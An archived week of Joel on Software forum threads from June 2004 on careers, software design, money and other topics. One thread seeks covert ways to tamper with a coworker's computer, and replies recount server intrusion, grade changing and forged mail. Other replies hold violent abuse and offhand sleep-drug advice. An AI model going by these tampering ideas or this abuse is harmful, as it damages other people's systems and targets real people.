last updated:28 Jun 2004 10:49 UK time
Joel On Software Discussion Forum
JOS Statistics - Recent Comments
(Comments added for week ending Sun 27 Jun 2004) | View Other Weeks
Afraid of success | Sun 27 Jun | Phil
Im not sure if this is my problem but I always wanted to start a business.  I dont do it because... well I dont really have a reason.  I dont know if its because I fear failure or success or some other reason.  How do I determine and overcome this handicap?  Maybe it is anxiety?  It drives me crazy.  Maybe I am just lazy.
Sun 27 Jun | muppet from forums.madebymonkeys.net | I've done the research to start a business a dozen times, each time with a different premise, but I'm always certain by the end that the idea will fail, and I'm just not very business savvy anyway.
Sun 27 Jun | Mr. Analogy | I think that the key to starting a business, like any other problem solving, is to do it incrementally (iteratively). E.g., do it in pieces, where each piece validates the whole concept. E.g., 1. Find out what your potential customer needs. 2. Build a prototype. See if you can please ONE customer (at least). If you can sell it to ONE customer, then you can probably sell it to MORE customers. 3. Figure out how to repeat #2 for more customers. (E.g., marketing, sales, etc.). The good news, is that this is already a solved problem. The bad news is that most of the solutions don't work very well (lots of bad marketing advice out there).
Sun 27 Jun | TheGeezer | Whatever you choose to do in business, make sure you write a business plan before doing anything else. It will help you determine whether your idea is viable, crystalize your goals, and it will give you an exit strategy.
Best practices archiving digital photos | Sun 27 Jun | overweightnerd
Any advice on digital photo archival or description? Would you keep files in RDBMS files so you can describe them with date, keyword, classifications and comments? Would it be easier to give plain old files long file names filled with keywords? How do you categorize them? Folders? Any commercial software or shareware worth using? Whats the best way to back them up? A big thanks!
Sun 27 Jun | cabby | iView Media Pro if it's just for you. There are other server-based tools available for larger scale operations such as magazine publishers and newspapers, but I feel safe in assuming that you aren't in that situation or you wouldn't be asking here. If that assumption is wrong, let me know and I'll dig up some names.
Sun 27 Jun | Bah humbug | A couple of people recommended ThumbsPlus to a similar query a while ago, and I found a thing called LinPHA (http://linpha.sourceforge.net/nuke/index.php) which seems to solve most of these sorts of problmes
Sun 27 Jun | somemorone | If you have the money have a look at this: http://www.acdsystems.com/English/index.htm
Sun 27 Jun | Andrew Hurst | Adobe Photo Album ( http://www.adobe.com/products/photoshopalbum/main.html ). I couldn't imagine managing my pictures (only about 1800 currently) without its 'tag' system. Essentially drag a category tag for every category that matches to a given photo. So if I want to see pictures of my wife on the beach, I can click the checkbox next to the 'Beach' and 'Wife' tags, and I get all the matching pictures. You can also search by date, date range, etc. Essentially anything you could do if they were in an RDBMS. Well worth the money.
Extremely experienced programmer for hire | Sun 27 Jun | Boris Bord
My over 20 years hands-on experience comes from computer programming for United Nations, US Navy, US Air Force, GE, Nokia, Kraft Foods in conjunction with my work for Universities, Banks, Insurances, Software and Dotcom companies. Im a whiz with C++, C#, .NET, Visual Basic, ASP, Java, JSP, Delphi, HTML, XML, XSLT, Cold Fusion, PHP, Flash, SQL and Oracle. Proven track record bringing projects from the conception stage through to completion. I specialize in completing computer projects that no one else can finish and consistently on schedule and within budget. Please see my portfolio at www.eBoris.com. I will be happy to provide more details, references and etc... -- Boris Bord Sr. Software Engineer www.eBoris.com support@eboris.com
Sun 27 Jun | no name | This post makes me sick. I wouldn't hire you if I was paid to hire you. I would drive my boot up your dumbass. nice advertisement beach.
Sun 27 Jun | Patrik | >I specialize in completing computer projects that no one >else can finish and consistently on schedule and within >budget. Bwuuhahahahahhahha
Sun 27 Jun | Kyralessa | ASP, JSP, HTML, XML, XSLT, PHP, and SQL? Big deal. I know ASP, JSP, QSP, XSP, HTML, DHTML, XHTML, FHTML, AHTML, XML, XSLT, XSL, XSD, XQY, XZZ, PHP, PHQ, PHR, SQL, SQR, SQT, SQU, and SQZ.
Sun 27 Jun | Ha ha | Look, OP can't admin a Unix box. Ha Ha
Sun 27 Jun | Steak, waffles, french fries, & scotch | Talk about being "dead meat" for posting inappropriately ...
Sun 27 Jun | JD | 'My programming is good for environment.......Guranteed' [Quote from eBoris.com] I didn't know that my programming was producing Carbon Monoxide to pollute the air! ;) :p JD
Sun 27 Jun | Gwyn | Did you bother actually looking at his site...? Seems quite an interesting chap to me
Sun 27 Jun | Fucking Piece of shit | Sounds to me like this fucking son of a bitch needs his god damn mother fucking head sliced off.
Sun 27 Jun | Dumbass bastard piece of shit | Listen up cock sucker mother fucker, you must be a desperate piece of dog shit to post your ad to this forum. You need your god damn balls sliced off and then you need eat 'em you piece of shit. A couple rounds from a high caliper weapon would also do you some good. Dear gwyn: You are a sucker if I've ever seen one.
Sun 27 Jun | muppet from forums.madebymonkeys.net | wow.. nothing like some good old fashioned hate.
Sun 27 Jun | Rodney | "Can't we all just get along?"
Sun 27 Jun | Wisea** | 'I'm a whiz with C++, C#, .NET, Visual Basic, ASP, Java, JSP, Delphi, HTML, XML, XSLT, Cold Fusion, PHP, Flash, SQL and Oracle.' That's all good, g, but can you fart on command? :-P
Sun 27 Jun | Ha ha | "high caliper"  that would be caliber.  OP probably knows more about programming than you know about rifles.
I am starting a new job tomorrow... | Sun 27 Jun | eclectic_echidna
I have been off for a few weeks, and now I start a completely new job. I am dreading the weeks or even months it will take before I get up to speed, and back to my usual productivity. Also, this company has 1000 employees, and the largest company I have ever worked for had 50, so this is a big jump for me. Any pointers? -- ee
Sun 27 Jun | Christopher Wells | Keep a timesheet of what you're doing. Entires such as "1 hour - talk with HR" and "3 hour - read company documents on topic X" count as productivity, IMO (provided that they are eventually followed by entries such as "determine requirements", "define design", "define schedule", "finish coding", etc etc).
Sun 27 Jun | Lou | The hardest thing I've found is determining who does what, who is responsible to whom, and figuring out how the whole company works. I suggest brown bagging it and try eating lunch with different groups every day. The more people you can connect with the better off you'll be and the more information you'll come in contact with. Good luck.
Sun 27 Jun | Tom Vu | I worked for a huge company once and they spent more time on management hierachy graphs and misson statements than on producing anything. Enjoy watching the grass grow.
Sun 27 Jun | son of parnas | Be nice. Be helpful. Be warm. Don't yell. Don't spit. Don't be weird. Be modest. Listen more than you talk. Don't think the worst even if there is ample evidence. Give things time. Be patient with yourself and others. I would say be quick to take the blame and even quicker to give the credit to others, but that may be asking a bit much.
Opinions/knowledge about sleeping aids... | Sun 27 Jun | Crimson
Ive posted here before about my inability to get a full nights sleep while working hours typically expected of most companies ( ie, being at work at 9:00 am). So Ive thought about taking sleeping pills. Ive always erred on the side of natural when it comes to medication. If I can do without medicine, I will. Ive tried that with sleep, but no matter what I do, there always seems to be at least 2 or 3 nights a week where I cannot get the minimum of 7 hours of sleep that I need (while still showing up by 9:00 am) and this KILLS my productivity. Thus, Im thinking of turning to a sleeping aid. What are your opinions/history/knowledge on this? thanks! Crimson
Sun 27 Jun | Brad Wilson | In general, be careful about taking any sleep medication long term. They can become habit forming. If you're really having trouble sleeping, and it's a new thing, you should probably talk to a doctor, a shrink, or even go to a sleep clinic. That said, AmBien works great. Hella-expensive, though, if it's not covered by your insurance, and a doctor has to write a scrip for it. Valerian is an over the counter herbal alternative. They sell it in the grocery store here.
Sun 27 Jun | Neil Hewitt | Sounds to me like you might have Delayed Sleep Phase Disorder. I have it (and a job that requires me to be at my desk by 9), and it's a killer. Long term, drugs don't really help. I find that if I use something to get to sleep earlier, it doesn't help me get up any earlier - my body just doesn't want to wake up much before 11 or 12. A very loud alarm clock and long lie-ins at the weekend to catch up with my sleep are how I cope at the moment. There is a treatment for DSPS called chronotherapy, which involves progressively going to bed earlier, a half-hour at a time, until you reach a normal sleeping time. However, if you break the cycle by staying out late one night, you're right back where you started. From what I can see, the collected medical opinion about DSPS is that it's genetic and you have to live with it.
Sun 27 Jun | sgf | Do you exercise regularly? Make a huge difference for me.
Sun 27 Jun | Umm | And don't forget ejaculation.  Exercise can help with that too, often making it more frequently available.  But even masturbation knocks me right out.
Sun 27 Jun | Mark S | Try a double martini, a bottle of good red wine, a nice 12-year scotch on the rocks... whatever it takes. :-) A lot of exercise also helps. I find that when I can put my work down and chill out, I tend to have less problem sleeping... Fresh air and sun will do it to.
Sun 27 Jun | Kyralessa | Do foods have any effect on you? I find that caffeine (of course) wakes me up, whereas milk and milk-based foods make me sleepy. So if I'm having trouble sleeping regularly, I cut out caffeine after dinner (or earlier) and have a bowl of ice cream in the evening. After that I can't stay awake even if I want to. The reverse is true too; if I want to be productive at work, then no major doses of ice cream, milk, cheese, etc. at lunch.
Sun 27 Jun | hoser | I've had my share of stress lately, and one thing I hate is not being able to get to sleep at night. Exercise: definitely key. I would stay away from anything drug like, including alchohol, to try and get to sleep. I enjoy wine, and don't think that it helps not hurts when getting to sleep. But I deliberately stay away from the hard liquor at times like these, because I think it could be so addictive. I love Manhattans, but not now. Find out what is bugging you, decide how you're going to deal with it tomorrow, and that will help you forget about it in the short term. Clinton called it compartmentalizing. He feels my pain.
Sun 27 Jun | http://badblue.com/blog | 1) As others have pointed out, exercise - at least 3 times a week and preferably more (disclaimer: check w/your doctor first) 2) Reserve a half-an-hour of absolutely quiet time in bed every night... reading. And read non-fiction: historical tomes, epidemiology texts, the Zen of C++ programming, whatever. If you make it more than 15 minutes through that stuff after a hard day's work and/or exercise, i'd be amazed.
Sun 27 Jun | B.Rabbit | My wife uses Ambien occasionally and believes it works well.
Sun 27 Jun | muppet from forums.madebymonkeys.net | I'd suggest doing some research on Ambien if I were you.  In some patients it seems to produce hallucinations and psychotic behavior.
Sun 27 Jun | HH | I don't work in the software industry like most people on this forum, but I work construction and so am physically tired at the end of the day.
$20 doesn't buy jack anymore | Sun 27 Jun | DB
I dont know about you guys but $20 dollars now-a-days doesnt seem to buy much of anything. Go to a movie bam at least $20 bucks is gone. Go to the grocery store and you only have a handfull of groceries for $20 bucks. Was going to go to a Country USA this weekend until I found out it cost $60 bucks a day and then if you buy a drink or two whoa plus parking. Sheesh. Buy gas at the pump and you drop big money. Most people dont seem to care. Now I know all about inflation, but it seems a bit out of hand. Theres a bad attitude infecting the country. Most of this inflation is artificial so-to-speak. There was no reason to raise gas prices. Hell no one could even give a solid answer as to why they went up. The oil companies obviously pocketed the money using every excuse in the book to justify it. You mean to tell me they dont run their refineries at full blast all the time? Bunch of scum liars. $200 - $400k for a new house? Give me a break. I live in a poor rural area too! Dont people know how to save any more? Is this whole country (USA) built on credit? What in the world is going on! Are people so dumb or just so addicted that they fall for all this inflation stuff. Hey Greenspan raise dem dere interest rates eh? What really gets me is the artificialness of the whole situation. It doesnt have to be and is explained away by economists and the rich as something that is natural when in fact these people are exploiting the poor and middle class. ok.. All of this makes me think I should raise the price on my software. Yes I would contribute to inflation but who cares Ive got to make it up somehow. I want a new house, a new boat, a new car a new this and a new that also. Damn it!
Sun 27 Jun | Dennis Atkins | 'There was no reason to raise gas prices.' This is not true. The dollar has lost value (about 30% in the last few years) compared to foreign currency and we import all our oil with dollars. Therefore, to sell the oil for the same value in their own currency, they must charge more. The reason that the dollar is devalued is because a currencies intrinsic value compared to other currencies has to do with what it can buy. The US does not manufacture things any more but rather prints dollars and sends them overseas to get stuff. This has the result of lowering the intrinsic value of the dollar. $20 doesn't buy much anymore because it is only worth $10 of a few years ago.
Sun 27 Jun | Dennis Atkins | db, If you live in a poor rural area you will be able to find a good house for less than $400k.
Sun 27 Jun | Dennis Atkins | And yes you should raise the price on your software by 30% or more to keep up with things. Your software has intrinsic value. Green ink on linen does not.
Sun 27 Jun | Ankur | If $20 ain't buying you squat, you need to reassess your lifestyle. Houston has a plethora of houses for under $100K, and you're living in upper middle class luxury for a $250K house. $20 buys 4 matinee movie tickets, three meals at Taco Bell, and 20 items off the Wendy's 99cent menu. $20 also is more than one fillup in my Altima, which gets 360 miles to a 12 gallon tank.
Sun 27 Jun | Ankur | Oh, and don't confuse the market price of oil with the production cost of oil.  Though production costs may not change with time, costs have literally no bearing on price - prices are a conglomeration of supply, demand, risk, and speculation.  If you're so pissed at the price of oil, there are plenty of low-producing oil fields in Texas and Oklahoma that are ripe for the take.
Sun 27 Jun | Dennis Forbes | Funny you say that, as just today I was thinking exactly the opposite, though it's for a reason that gets a lot of people emotionally passionate -- globalization. My wife picked up a cheap, $17 CDN, umbrella fold-up baby stroller for mall journeys, undoubtedly made in China, and I was amazed looking at what is ultimately a complex little device, and thinking that all the materials were mined or woven, it was engineered and manufactured, and then shipped around the world, and has probably 60% of the cost as retail/middleman costs, and it costs a measly $17. When I was a lad of 16 working in a pizza/family restaurant (Mother's Pizza in glorious St. Thomas, ON), we sold deluxe pizzas for ~$23, and I saved up my minimum wage pay to buy a pair of jeans that normally went for around $60, or a cool Ocean Pacific t-shirt for $45. Now, 15 years later, I can get 2 large pizzas with 6 cokes for $19, and a pair of jeans often goes for around $25. While we bitch about certain types of jobs going overseas, there is absolutely no doubt that for household items there has been tremendous deflation (even for made-in-the-USA items there is tremendous value because of plastics. A fold-up childs picnic table is like $25), and items that would have been an economic setback 20 years ago are now just disposable cash. Ultimately in the future it may be that 99% of our pay goes to our home (because of competition for space, especially in metropolitan areas), and entertainment.
Sun 27 Jun | Christopher Wells | One thing that strikes me is the economics of being a school teacher: a teacher's salary is not high, at least in part because they teach no more than 30 students per year (and it would be a lot to ask each set of parents to pay more than 3% or 4% of their own salary to their child's teacher's salary, or double that to 10% or more because of overheads like the school building, the school principal and janitor, books, ...). I guess I'm saying that school-teaching at least doesn't take advantage of the economies of scale from mass-manufacturing (which is why an entertainer may be richer than a teacher). Currently, $10 buys me a two-hour lesson with a class of 9 other students.
Sun 27 Jun | Chip H. | The other name for the $20 bill is 'Yuppie Food-Stamp'. ;-) Actually I think there are two broad events ocurring -- I think inflation has been under-reported over the past 10 years, and I think peoples expectations are unnecessarily high. The combination of two has resulted in people thinking they *need* to live in a 4000 sq-ft (371 sq. meter) McMansion with a pool and two BMWs, and the under-reported inflation means that both members of a couple need to work in order to afford it. There's some benefit to the 'Live Simply' movement. Unfortunately it often gets confused with the people building houses out of recycled beer bottles (ummm, no thanks). I've been following Susan Susanka's books and writings for a while (http://www.notsobighouse.com/) and she's onto something -- don't build big -- build better.
Sun 27 Jun | DB | Just to clear up any misconception. I don't live in a big house or own a boat or anything of the sort. In fact I bought my house for $70k 3 years ago and drive a Neon. It's a nice house and a nice car. I'm just thinking about all of this new stuff and if it's for the 'rich' people or are the 'poor' folks suppose to fall for all of this with easy credit. I just think it's a poor attitude that has embraced the nation. As far as raising the price of my software. I am doing it gradually.
Sun 27 Jun | Kyralessa | A teacher's salary is not high?  Compared to what?  Compared to a baseball player, sure, it's not high, but compared to your average B.A. or B.S. who gets out of college and discovers that a bachelor's is damn worthless because everybody under the sun has one, teachers' salaries are pretty good.
Sun 27 Jun | hoser | $20 buys about 6 lbs of food at Taco Bell.  Could last for weeks.
Upgradable API standards? | Sun 27 Jun | Gregg Tavares
I need to start a new project that will have an plugin API. The API needs to be upgradable without breaking older plugins (eg, as we think of new things to add we need to be able to add features to the API) Ive seen the COM way (I guess this is the COM way), where you ask for a pointer to a list of functions by name and version. That way older plugins will ask for the 1.0 list of functions where as a newer plugin can ask for the 2.0 list of functions. Are there better ways? Any other styles or systems I should check out before I jump into this?
Sun 27 Jun | pavel | Overview of plugin systems is on: http://xplc.sourceforge.net/doc/others.php
Sun 27 Jun | Tom | Why not just make the plugin programmers recompile their plugins when there's a new version released? (Depends on your target audience, I suppose, and frequency of releases. It might sound like a dumb idea, but Alias Wavefront do this with Maya, and there are probably other examples too.)
Sun 27 Jun | Max Belugin (http://belugin.newmail.ru) | Read about interfaces versioning in COM
Sun 27 Jun | Dennis Atkins | 'Why not just make the plugin programmers recompile their plugins when there's a new version released?' Please... no, don't. Is there anyone other than Tom that thinks that is a good idea? I certainly hope not.
Sun 27 Jun | Brad Wilson | Bad idea.
Sun 27 Jun | Tom | It might sound really bad, but I reckon it's not. As always, it's a boring trade-off. How often will you release new versions? How much effort will you expend getting all this versioning stuff working? How many new bugs will you introduce? You'll need some shim code here and there too, as even your structs' layouts will have to stay the same across versions. Will you enjoy that?! Or maybe you are intending to force your plugin programmers to query for god knows how many different types of interface to handle the objects you're exposing? Do you think they will like that? But, like I said, it depends on the project. My thinking is just that, if you're asking about different schemes for this kind of thing, you must not be sure about the one you're intending to use at the moment. And if there's some question about that, it must be something slightly complicated. So, if you can get around the complexity by not doing it at all, you may wish to consider that instead. And forcing people to recompile their plugins will remove the need for binary-level compatibility, leaving you only having to maintain the rather easier source-level variety, without pissing the plugin programmers off too much. (Or maybe it would piss them off. I think I mentioned, it depends on the project :)
Sun 27 Jun | Eric Hop | Let's give an example of why this is bad: Up until Oracle 8 there would be an ODBC driver called 'Oracle ODBC driver'. So for a few years our software and setup program (which are DSN-less) have been using this 'fact' to be able to connect to an Oracle database. Now here comes Oracle 9 and suddenly the Oracle ODBC driver is called 'Oracle on ORAHOME92' or something like that. This makes all third-party software (including ours) that depends on this 'fact' go haywire. I know, people are going to respond that we should have use a DSN, but we happen to have a huge dislike towards the Windows registry. So sue us... The point I'm trying to get across is: How do you know up front how many programs that interact with your software are going to need to adjust to your changes ? You don't ! And this brings us back to Joel's discussion about how MS lost the API wars. (MS isn't the only one...)
Shareyourexperiences.com website | Sun 27 Jun | Regular, but cant reveal identity
There is this website https://shareyourexperiences.com/ I received an E Mail from them saying someone wants to know more about me. It was a regular type of E Mail and very bewildering . It said Advisory - A user is trying to share experiences and opinions about you via our website. The purpose of this email is to inform you that a posting has been made about you at our website. This is email is not commercial in nature. I have never attempted to sell anything on any website. I have few friends here and am from another country. It bewilders me on why someone would want to know something about me in US. On going to the website, i found that someone had put my E Mail on the website and asked to know more about me. I cant even find out who that person is and why. Does someone have any clue about this website?. IS something like this legal in this country?
Sun 27 Jun | Regular, but cant reveal identity | On searching in google. This appears to be a major scam. Beware everyone !. They prey on the fear of people. Beware !!
event-driven php web app | Sat 26 Jun | johann
hi! i know web apps are a hot topic of lately around here. so Im asking you: how would you go and architect a web app in php but so that it is event-driven? what i have in mind is nothing more that form entry, validation and database access. think of a bigger, more customized phpmyadmin. i want certain actions to occur in response to certain actions (i.e. the user submitted data to a certain table). how do you do this in php or in a server-scripting language in general? (remember, php has no application server like java.) oh, and if possible it should work without javascript. regards!
Sat 26 Jun | Matthew Lock | Generally you just give each button a name like this: Then at the top of your code you have a big if statement like: if( $event1 ) { event1(); } elsif( $event2 ) { event2(): } .... etc To give the illusion of events you then just need to repopulate the form controls with their previous values.
Sat 26 Jun | CF | From my understanding, event-driven apps are pretty much just message queues that allow clients to 'subscribe' to certain events and a way for events to 'publish' what's happening. It's not really something that one just throws into a web app. For example, Slashdot create an 'event-driven' environment which allows you to subscribe when events happen such as a user responding to your posts. However, the way they did it was by manually coding the concept of events instead of an event model. (see: http://www.kuro5hin.org/story/2001/11/20/22463/969 ). So basically you would need something at the core of your application which would allow parts of your app to publish events and parts of your app to subscribe to those events. I'm not privy on PHP apps, so there may be something built in. Googling around a bit produced some interesting results. For example, here is a (cached google) article describing an authentication module built around a basic event-driven model: http://64.233.161.104/search?q=cache:kBTMOcBr8UoJ:php.weblogs.com/universal+event-driven+php+web+app&hl=en Even managed to find a somewhat amicable thread about PHP vs. ASP and ASP.NET: http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=85478 I'll bow out now, perhaps a PHP expert can answer if there is any progress in your arena.
Sat 26 Jun | Aaron Boodman | You might want to have a look at WACT: http://www.phppatterns.com/index.php/article/articleview/85/1/9/
Sun 27 Jun | johann | thank you very much so far. i have a conrete example of what i want to do: i display the content of a database table very much like in phpmyadmin. now the user can click on edit and the one entry is shown in editable form fields. when he submits this he is sent back to the whole table. how do i manage the context in which the user is in? from where do i know where to throw him back to? sure i can user the tablename but i want to be more flexible. i want to be able to show one and the same entry from two different tables or at least two different pages. and when the form is submittted the user should get back to the page where he was and that is not neccessarily the table name. do you understand what i mean? thanks in advance for your help!
Sun 27 Jun | Almost Anonymous | In order to return users to the correct location I pass the return link to each page. If I have a page displaying a table: table.php?Name=Customers The links to edit each record will say: record.php?RecordID=234&Name=Customers&RET=table.php?Name=Customers. The RET part is the URL of the previous page and contains all the necessary parameters of that page. Returning just involves redirecting to the RET address. It works as a stack, so can push more and more return addresses on: editField.php?FieldID=Description&RecordID=234&Name=Customers&RET=record.php?RecordID=234&Name=Customers&RET=table.php?Name=Customers. As long as each level is properly URL encoded this works fine.
Sun 27 Jun | CF | But remember that by passing application data in either GET or POST methods (by URL or by hidden form fields) you expose yourself to a potential SQL injection attack. Make sure that if you are storing the information on the client side to have some sort of validation going on.
Sun 27 Jun | matt | Not sure if this is quite what you mean, but something I've (tried to) do before in PHP that might interest you. PHP annoys me, because I want to work with a proper web app framework and not just a bunch of separate PHP scripts. In particular I like to have URLs map to methods or functions, eg when the user calls http://site.com/app/foo it returns the results of a foo() function in a suitable namespace marked as being accessible from the web in this way. You can extend the idea to do things like http://site.com/app/class/1234/method where 1234 is some kind of id identifying the class instance... this automatically returns the results of calling the method on this class instance You can sort-of write wrappers that make PHP do something like this by (in this example) having a script called 'app' in the root directory with ForceType application/x-httpd-php set in the .htaccess (something like this - look it up if you're interested). Then look at $_SERVER['PATH_INFO'] which will give you the full path requested including any higher-level bits tacked on after the /app you can split this into components and do some security checks and then have it call appropriate methods automatically in appropriate ways, passing them the path components at a further level than the method name. $foo->$method_name($rest_of_path) So they can either return some HTML themselves or farm the methods out to other further methods in a heirarchical way... I'm not explaining it very well but it makes things seem a bit more elegant once the ugly work is done and lets you write code with a more event/method-based feel to it.
Sun 27 Jun | CF | Also, from another thread, here is a list of some pluggable component systems. If you're into research. :) http://xplc.sourceforge.net/doc/others.php
Pranks on people's computers | Sat 26 Jun | Ron
Say you can run an .exe on someones computer, and you are a good programmer and can find out how to do anything... What kind of stunts could you pull? Lets get creative... not just deleting important files. And it should be undetectable, not something like deleting their windows directory which would be clearly a trojan thing. I am not looking for virus/trojan ideas. Maybe something like disabling their right mouse-click button, but only intermittently. Or making it do 2 clicks for every click. Maybe making a key not work one out of every 20 times, and switching the key periodically... they might keep switching out their keyboards that way. Or make their monitor freak out every 10 hours so it looks like its going... How could I slow down the computer indetectably? Fragment the hard drive by inserting millions of temp files in a temp folder? Other ideas? Is there a way to hide a memory resident process so they cant find out? Or I could just give it a name like mscxrt or something and they would probably never notice. No I am not trying to write a virus, I just want to have some fun, play some tricks on a coworker...
Sat 26 Jun | CF | 'Other ideas?' - Flesh out your resume. - Check your bank account to see how much you can afford to... - ...Hire a lawyer. - Get your suit cleaned. Judges appreciate if you dress up. - Plea bargin down to a midemeanor. You can still get a job that way. - Don't worry, they'll still let you see the sun. But that aside, my friend swapped his mom's desktop out with a flash movie that started moving the icons around. After a few seconds, they all grew legs and started walking around on their own.
Sat 26 Jun | Vuego | Make a screenshot of a desktop. Then delete (move to backup folder) all shortcuts and place your image as wallpaper. Icons will be still there but not clickable. Very confusing even for experienced users.
Sat 26 Jun | JWA | There are a bunch of apps to do these kinds of things out there. Download.com has a lot to choose from. We used one on a coworker that allowed us to remotely eject the CD drive and reverse the mouse buttons once. It was pretty awesome listening to him experimenting to figure out what was causing the CD to open on it's own. Eventually he determined it was interference from his cordless phone. We also turned on mouse trails on a non-computer literate coworker and when he asked what was wrong we told him that happens sometimes, but if you move the cursor fast enough and in the right type of path you could 'lose' them. I think he wore out his mouse pad that day :).
Sat 26 Jun | Poof | Another one is a screen saver that displays a blue screen and when you alt_ctl_del the blue screen, it simulates rebooting. Google it
Sat 26 Jun | somemorone | <>Maybe making a key not work one out of every 20 times, and switching the key periodically... they might keep switching out their keyboards that way.<> Switch keyboard layouts to something non latin script (thai, japanese) and that only every x minutes and for x seconds.
Sat 26 Jun | That was not a very intelligent thing to do. | Reminds me of what we used to do to the college profs. We sat in a room full of computers and the profs comp which was attached to the slide projector was on the same network. So we would download 'nuke' programs and flood his Win 98 comp which would choke and crash his slide show and most of the time force him to reboot. All in all good fun. Don't know if the poor profs ever figured out what we doing or if they just played ignorant. Then of course we would exploit the schools IIS server because it sure as hell wasn't secured. We could connect from home or anwhere for that matter and do as we pleased. It was kinda fun to change your grades or put up a new home page for the school. In the computer lab we would 'nuke' random peoples computers which of course would crash them. Sometimes it took a lot to keep from laughing. One time I tried to write a pong game for the AS/400 in RPG. I almost pulled it off but I sent the AS/400 into an infinite loop and locked up the whole system for the college until one of the profs with sys admin rights terminated the process. Well I'll stop now.
Sat 26 Jun | AllanL5 | Hmm. 99.99% of people are desperately trying to make software reliable. Meanwhile, a small group of yahoos are taking this desperately important tool, and trying to make it look even LESS reliable than it really is. All in the name of 'fun'. Dumb idea. They used to make error messages say stupid things like 'Idiot, you made a mistake.' That was another dumb idea, with I believe the same impulse behind it.
Sat 26 Jun | anony coward | 'No I am not trying to write a virus, I just want to have some fun, play some tricks on a coworker...' Better check with your manager on what the company policy is for doing little pranks like this, usually it's grounds for firing the asshole.
Sat 26 Jun | John C. | A coworker of mine once recounted how some folks had installed a program on their boss' computer (back in the old DOS days) that would capture keypresses and return a character offset one key to the right or left or the keyboard. The insidious thing was that they set this so the behavior was triggered only when typing faster than a certain speed. So if you pressed each key slowly and monitored the results, everything would seem fine. But as you resumed typing at a normal speed, the shifting would kick in. Just the kind of thing to make you question your sanity.
Sat 26 Jun | Matthew Lock | > Make a screenshot of a desktop. Then delete (move to > backup folder) all shortcuts and place your image as > wallpaper. This one is a classic. A nice variation is to take the screenshot with a small application like Notepad open. The unwitting user then spends ages trying to close the application by hitting the close button, inspecting the task manager, rebooting etc. Hours of fun!
Sat 26 Jun | no name | You guys sound like a scream to work with. Remind me again, where do you work?
Sat 26 Jun | Matthew Lock | Crazy Clown Computing.
Sat 26 Jun | Made Up Name | Crazy Clown Computing. www.clownpenis.fart
Sat 26 Jun | anon | My personal favorite is replacing they debugger with IEXPLORE to some "whacky" site . . .
Sun 27 Jun | Kyralessa | One favorite subtle one of mine is to go to the Orientation section of the mouse control panel settings, where you're supposed to move the mouse straight up toward the balloon or whatever, and move it straight down instead, so the mouse moves in reverse. (Or you can move it straight left or right so the mouse moves at 90-degree angles, or whatever.) You probably have to have the latest IntelliPoint software for this. Bonus points if you have good hand-eye coordination, and can move and click (backwards) with no problem when your coworker calls you over to see for yourself how his/her mouse won't move properly.
Sun 27 Jun | . | Best one a <cough> friend of mine </cough> did, was to use the built-in Intel Screen Rotation settings and set a default to to "rotate 90 degrees to the right". It was fun for a while, until  someone just hosed the system and re-installed the OS
Sun 27 Jun | Prankster | This is not on the computer, but tape down the "thingy" on their phone so when the person lifts the receiver, the phone will keep ringing...
Sun 27 Jun | janonymous | Can someone still call you when the 'thingy' is down? I tried it here, and it doesn't work for me... :-S Funniest thing I did was when a friend of mine was away, while his computer showed the w2k login screen. Say his login name was Adam, I typed A c l a m, and tab-bed to the password field again. That's very hard to see - he thought he was typing a wrong password all the time...
Sun 27 Jun | anon | Or what to do if you find someone has left a terminal logged on to their account in the terminal room? I like to cat their mbox with a fake mail they sent threatening the president, and then I can their inbox with a fake mail from the secret service saying they are coming to get them. Then I send a mail to themselves from their own account that says 'Just a friendly note to remind you to always log off when leaving the terminal room.'
Sun 27 Jun | matt | >>Icons will be still there but not clickable. Very confusing even for experienced users. Yeah, until you try the right-click, heh.
Sun 27 Jun | Why am I posting this? | 'This is not on the computer, but tape down the 'thingy' on their phone so when the person lifts the receiver, the phone will keep ringing' You need to be more creative. On older ATT phones, you can take the cover off and remove a plastic link to do the same thing, except the external 'thingy' still pops up. We did this in college to a guy and he ripped his phone off the wall. Pretty stupid in retrospect...
Sun 27 Jun | pranks actually can be amusing | Amusing QA tricks: 'Hmm, it's an error message. Wow, I can highlight the text and do the copy/paste thing. Cool. Oh. I really can do the 'paste' or even 'type' thing. Call out to the developer responsible - hey, why are there swear words in this error message?' They let him in on the joke after he apologised :)
Sun 27 Jun | Prankster | Or use two pieces of tape on the 'thingy', so that when they figure it out and pull off the tape it will still ring... Make sure the top piece is obvious to see with a corner sticking up... Removing the ball from the mouse is a good one too. Tee hee.
Sun 27 Jun | Should be working | I'm surprised no one has mentioned another classic, the "black screen of death".  Set the colors for everything to black.  Black background, black borders, black menus, black text, black desktop background.  Looks like the video card flaked out.
Java-flavored cpan type site? | Sat 26 Jun | muppet from forums.madebymonkeys.net
is there such an animal?
Sat 26 Jun | CF | Yep. Check out CJAN: http://www.cjan.org/ Cory
Sat 26 Jun | CF | And also check out java.net. CJAN is really just starting to get off the ground it seems. Cory
Sat 26 Jun | Koz | Maven's archives are similar too.
Sat 26 Jun | muppet from forums.madebymonkeys.net | Koz, thanks for the tip, but a link would be good.
Sat 26 Jun | muppet from forums.madebymonkeys.net | Thanks Cory!
Sun 27 Jun | Catalin (www.rotaru.com) | Yes, Maven is amazingly similar too. I am not sure yet if I like that or hate it - I'll let you know after I use it some more. :-) Here's the URL: http://maven.apache.org/
Sun 27 Jun | Adam Fitzpatrick | The Maven jar repository is handy even if you don't want to use the Maven build tool. http://www.ibiblio.org/maven/
Blogs written by geeks are boring and too topical | Sat 26 Jun | Steak, waffles, french fries, & scotch
Anyone else feel the same way? All the blogs I see mentioned here are lengthy topical dissertations about the tempest in the teapot of the day re: Microsoft product strategy as perceived by some internal MS developer who happens to have a following of readers. For some reason, an arcane product differentiation such as .Net or managed or unmanaged code or COM+ or Longhorn or ShortCock or whatever is supposed to be causing this person to feel elated/bummed/life-affirmed/transformed. And its supposed to be worth reading about. As though all meaning in life could be extracted from working as a slightly better than unknown cubicle-drone at Microsoft or at some ISV whose owner has blogging repute. And hordes of techie sycophants intently lap this highly topical crap up like theyre reading Revelations. Lets say that blogging existed in 1989 to 1995. Would it be absolutely fascinating today to read about the human drama of defining Win32s, or developing NT, or migrating away from DOS or Windows 3.1...? Heres what *I* would find fascinating: a techie undergoing some personal crisis and undergoing personal transformation necessary to survive. Coding for Longhorn isnt a personal crisis nor a personal growth opportunity, and isnt worth reading about, IMO. In fact, the next time MS changes its product strategy, all that writing will seem like so much naive, unstudied crap. Back to my favorite meal.
